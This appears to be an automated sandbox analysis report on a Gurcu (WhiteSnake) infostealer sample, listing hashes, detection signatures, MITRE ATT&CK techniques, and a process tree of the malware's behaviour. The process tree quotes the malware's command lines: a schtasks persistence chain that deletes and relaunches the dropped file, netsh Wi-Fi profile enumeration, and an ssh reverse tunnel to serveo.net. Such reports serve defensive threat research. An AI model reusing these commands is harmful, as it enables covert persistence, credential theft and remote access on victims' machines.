gurcu | fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

Analysis

max time kernel
149s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
05-10-2023 21:51

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General

Target

1edb8aa1adacda31bc98064b1634ddea.exe
Size

225KB
MD5

1edb8aa1adacda31bc98064b1634ddea
SHA1

7dc5aee1dd577b61a41a5001d465f0606bb33618
SHA256

fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575
SHA512

26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a
SSDEEP

3072:GQ2NGV19gqU3pJpfYTCOoShKmECPTKBWFPkl6WQre9Q29bSHXGhrD9HA2AF+q73o:uGDCOoSEmkWeILe9z9bS30AzHe0

Score

10^/10

gurcu collection discovery spyware stealer

Malware Config

Signatures

Detect Gurcu Stealer V3 payload 4 IoCs

resource	yara_rule
behavioral2/memory/1944-0-0x000001FD42FE0000-0x000001FD4301E000-memory.dmp	family_gurcu_v3
behavioral2/files/0x000700000002314a-8.dat	family_gurcu_v3
behavioral2/files/0x000700000002314a-9.dat	family_gurcu_v3
behavioral2/files/0x000700000002314a-17.dat	family_gurcu_v3

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation	1edb8aa1adacda31bc98064b1634ddea.exe

Executes dropped EXE 2 IoCs

pid	Process
2696	1edb8aa1adacda31bc98064b1634ddea.exe
4860	1edb8aa1adacda31bc98064b1634ddea.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1edb8aa1adacda31bc98064b1634ddea.exe
Key opened	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1edb8aa1adacda31bc98064b1634ddea.exe
Key opened	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1edb8aa1adacda31bc98064b1634ddea.exe
Key opened	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1edb8aa1adacda31bc98064b1634ddea.exe
Key opened	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1edb8aa1adacda31bc98064b1634ddea.exe
Key opened	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1edb8aa1adacda31bc98064b1634ddea.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
29	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1408	schtasks.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3300	PING.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2696	1edb8aa1adacda31bc98064b1634ddea.exe
2696	1edb8aa1adacda31bc98064b1634ddea.exe
4860	1edb8aa1adacda31bc98064b1634ddea.exe
4860	1edb8aa1adacda31bc98064b1634ddea.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1944	1edb8aa1adacda31bc98064b1634ddea.exe
Token: SeDebugPrivilege	2696	1edb8aa1adacda31bc98064b1634ddea.exe
Token: SeDebugPrivilege	4860	1edb8aa1adacda31bc98064b1634ddea.exe

Suspicious use of WriteProcessMemory 46 IoCs

description	pid	Process	procid_target
PID 1944 wrote to memory of 4668	1944	1edb8aa1adacda31bc98064b1634ddea.exe	84
PID 1944 wrote to memory of 4668	1944	1edb8aa1adacda31bc98064b1634ddea.exe	84
PID 4668 wrote to memory of 4732	4668	cmd.exe	86
PID 4668 wrote to memory of 4732	4668	cmd.exe	86
PID 4668 wrote to memory of 3300	4668	cmd.exe	85
PID 4668 wrote to memory of 3300	4668	cmd.exe	85
PID 4668 wrote to memory of 1408	4668	cmd.exe	91
PID 4668 wrote to memory of 1408	4668	cmd.exe	91
PID 4668 wrote to memory of 2696	4668	cmd.exe	93
PID 4668 wrote to memory of 2696	4668	cmd.exe	93
PID 2696 wrote to memory of 1800	2696	1edb8aa1adacda31bc98064b1634ddea.exe	95
PID 2696 wrote to memory of 1800	2696	1edb8aa1adacda31bc98064b1634ddea.exe	95
PID 1800 wrote to memory of 1076	1800	cmd.exe	97
PID 1800 wrote to memory of 1076	1800	cmd.exe	97
PID 1800 wrote to memory of 1436	1800	cmd.exe	98
PID 1800 wrote to memory of 1436	1800	cmd.exe	98
PID 1800 wrote to memory of 3408	1800	cmd.exe	99
PID 1800 wrote to memory of 3408	1800	cmd.exe	99
PID 2696 wrote to memory of 1448	2696	1edb8aa1adacda31bc98064b1634ddea.exe	100
PID 2696 wrote to memory of 1448	2696	1edb8aa1adacda31bc98064b1634ddea.exe	100
PID 1448 wrote to memory of 3612	1448	cmd.exe	102
PID 1448 wrote to memory of 3612	1448	cmd.exe	102
PID 1448 wrote to memory of 3360	1448	cmd.exe	103
PID 1448 wrote to memory of 3360	1448	cmd.exe	103
PID 1448 wrote to memory of 1420	1448	cmd.exe	104
PID 1448 wrote to memory of 1420	1448	cmd.exe	104
PID 2696 wrote to memory of 3052	2696	1edb8aa1adacda31bc98064b1634ddea.exe	105
PID 2696 wrote to memory of 3052	2696	1edb8aa1adacda31bc98064b1634ddea.exe	105
PID 4860 wrote to memory of 3828	4860	1edb8aa1adacda31bc98064b1634ddea.exe	121
PID 4860 wrote to memory of 3828	4860	1edb8aa1adacda31bc98064b1634ddea.exe	121
PID 3828 wrote to memory of 3916	3828	cmd.exe	120
PID 3828 wrote to memory of 3916	3828	cmd.exe	120
PID 3828 wrote to memory of 1664	3828	cmd.exe	122
PID 3828 wrote to memory of 1664	3828	cmd.exe	122
PID 3828 wrote to memory of 4960	3828	cmd.exe	123
PID 3828 wrote to memory of 4960	3828	cmd.exe	123
PID 4860 wrote to memory of 4448	4860	1edb8aa1adacda31bc98064b1634ddea.exe	124
PID 4860 wrote to memory of 4448	4860	1edb8aa1adacda31bc98064b1634ddea.exe	124
PID 4448 wrote to memory of 772	4448	cmd.exe	128
PID 4448 wrote to memory of 772	4448	cmd.exe	128
PID 4448 wrote to memory of 3420	4448	cmd.exe	127
PID 4448 wrote to memory of 3420	4448	cmd.exe	127
PID 4448 wrote to memory of 5052	4448	cmd.exe	126
PID 4448 wrote to memory of 5052	4448	cmd.exe	126
PID 4860 wrote to memory of 4392	4860	1edb8aa1adacda31bc98064b1634ddea.exe	129
PID 4860 wrote to memory of 4392	4860	1edb8aa1adacda31bc98064b1634ddea.exe	129

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1edb8aa1adacda31bc98064b1634ddea.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1edb8aa1adacda31bc98064b1634ddea.exe

C:\Users\Admin\AppData\Local\Temp\1edb8aa1adacda31bc98064b1634ddea.exe
"C:\Users\Admin\AppData\Local\Temp\1edb8aa1adacda31bc98064b1634ddea.exe"
1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "1edb8aa1adacda31bc98064b1634ddea" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\1edb8aa1adacda31bc98064b1634ddea.exe" &&START "" "C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4668
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:3300
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:4732
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "1edb8aa1adacda31bc98064b1634ddea" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:1408
- - C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe
    "C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe"
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2696
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1800
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:1076
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        
        PID:1436
    - - C:\Windows\system32\findstr.exe
        
        findstr /R /C:"[ ]:[ ]"
        5⤵
        
        PID:3408
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1448
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:3612
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show networks mode=bssid
        5⤵
        
        PID:3360
    - - C:\Windows\system32\findstr.exe
        
        findstr "SSID BSSID Signal"
        5⤵
        
        PID:1420
  - - C:\Windows\System32\OpenSSH\ssh.exe
      "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:4161 serveo.net
      4⤵
      PID:3052

C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe
C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe
1⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:4860
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3828
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    PID:1664
- - C:\Windows\system32\findstr.exe
    findstr /R /C:"[ ]:[ ]"
    3⤵
    PID:4960
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4448
- - C:\Windows\system32\findstr.exe
    findstr "SSID BSSID Signal"
    3⤵
    PID:5052
- - C:\Windows\system32\netsh.exe
    netsh wlan show networks mode=bssid
    3⤵
    PID:3420
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:772
- C:\Windows\System32\OpenSSH\ssh.exe
  "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:4161 serveo.net
  2⤵
  PID:4392

C:\Windows\system32\chcp.com
chcp 65001
1⤵
PID:3916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\.ssh\known_hosts

Filesize
406B

MD5
ec266d309cbad86b3e4939f2117dfe39

SHA1
cf12599fbdc167b4c01b518a0bd63d51cd83798b

SHA256
2f8ecca5380615bcd1530817933a7ea03d2d4fdc7d6e634829aa54e40413b05d

SHA512
d2d39d9174f459146de57c205979e7815829c37eafd214cdce88f90a961f04e5468290e530cf31b9b621276a86eb3a071bbf3464962e1a8e44a7478794571baa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\1edb8aa1adacda31bc98064b1634ddea.exe.log

Filesize
847B

MD5
3308a84a40841fab7dfec198b3c31af7

SHA1
4e7ab6336c0538be5dd7da529c0265b3b6523083

SHA256
169bc31a8d1666535977ca170d246a463e6531bb21faab6c48cb4269d9d60b2e

SHA512
97521d5fb94efdc836ea2723098a1f26a7589a76af51358eee17292d29c9325baf53ad6b4496c5ca3e208d1c9b9ad6797a370e2ae378072fc68f5d6e8b73b198

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe

Filesize
225KB

MD5
1edb8aa1adacda31bc98064b1634ddea

SHA1
7dc5aee1dd577b61a41a5001d465f0606bb33618

SHA256
fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

SHA512
26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe

Filesize
225KB

MD5
1edb8aa1adacda31bc98064b1634ddea

SHA1
7dc5aee1dd577b61a41a5001d465f0606bb33618

SHA256
fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

SHA512
26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe

Filesize
225KB

MD5
1edb8aa1adacda31bc98064b1634ddea

SHA1
7dc5aee1dd577b61a41a5001d465f0606bb33618

SHA256
fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

SHA512
26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a

Download Submit
C:\Users\Admin\AppData\Local\loshoa0u2z\port.dat

Filesize
4B

MD5
174f8f613332b27e9e8a5138adb7e920

SHA1
526376fa12daa33c65903f2b331c0e742c81b08a

SHA256
15255f94f98f709cbe42458dc4c35c919e750ab2487397eecf71d4da502a04d5

SHA512
bbbaa516183e1b3357f8ba9036b812ee112b7d869e6861e61bd7c1b9680af7ae7fab12c9eca8ff784c65d031bc937a61c7b039b7aee3c2b0e2b4ede8dec47b9f

Download Submit
memory/1944-6-0x00007FFA62B80000-0x00007FFA63641000-memory.dmp

Filesize
10.8MB

Download
memory/1944-4-0x000001FD5D770000-0x000001FD5D780000-memory.dmp

Filesize
64KB

Download
memory/1944-0-0x000001FD42FE0000-0x000001FD4301E000-memory.dmp

Filesize
248KB

Download
memory/1944-3-0x00007FFA62B80000-0x00007FFA63641000-memory.dmp

Filesize
10.8MB

Download
memory/2696-11-0x00007FFA61BE0000-0x00007FFA626A1000-memory.dmp

Filesize
10.8MB

Download
memory/2696-12-0x000001E63EBF0000-0x000001E63EC00000-memory.dmp

Filesize
64KB

Download
memory/2696-15-0x00007FFA61BE0000-0x00007FFA626A1000-memory.dmp

Filesize
10.8MB

Download
memory/2696-16-0x000001E63EBF0000-0x000001E63EC00000-memory.dmp

Filesize
64KB

Download
memory/4860-19-0x00007FFA61BE0000-0x00007FFA626A1000-memory.dmp

Filesize
10.8MB

Download
memory/4860-20-0x0000022FA60D0000-0x0000022FA60E0000-memory.dmp

Filesize
64KB

Download
memory/4860-22-0x00007FFA61BE0000-0x00007FFA626A1000-memory.dmp

Filesize
10.8MB

Download
memory/4860-23-0x0000022FA60D0000-0x0000022FA60E0000-memory.dmp

Filesize
64KB

Download